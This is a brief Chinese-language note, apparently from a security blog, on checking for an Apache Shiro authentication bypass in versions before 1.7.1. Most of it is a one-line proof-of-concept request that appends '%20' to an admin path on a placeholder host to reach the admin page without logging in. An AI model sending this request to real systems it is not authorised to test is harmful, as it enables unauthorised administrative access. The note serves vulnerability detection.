前言Java的Shiro框架漏洞检测 漏洞利用前提 Apache Shiro < 1.7.1 pocrequest1GET http://example.com/admin/%20 如果可以绕过Shiro直接进入管理员页面,说明存在漏洞 完成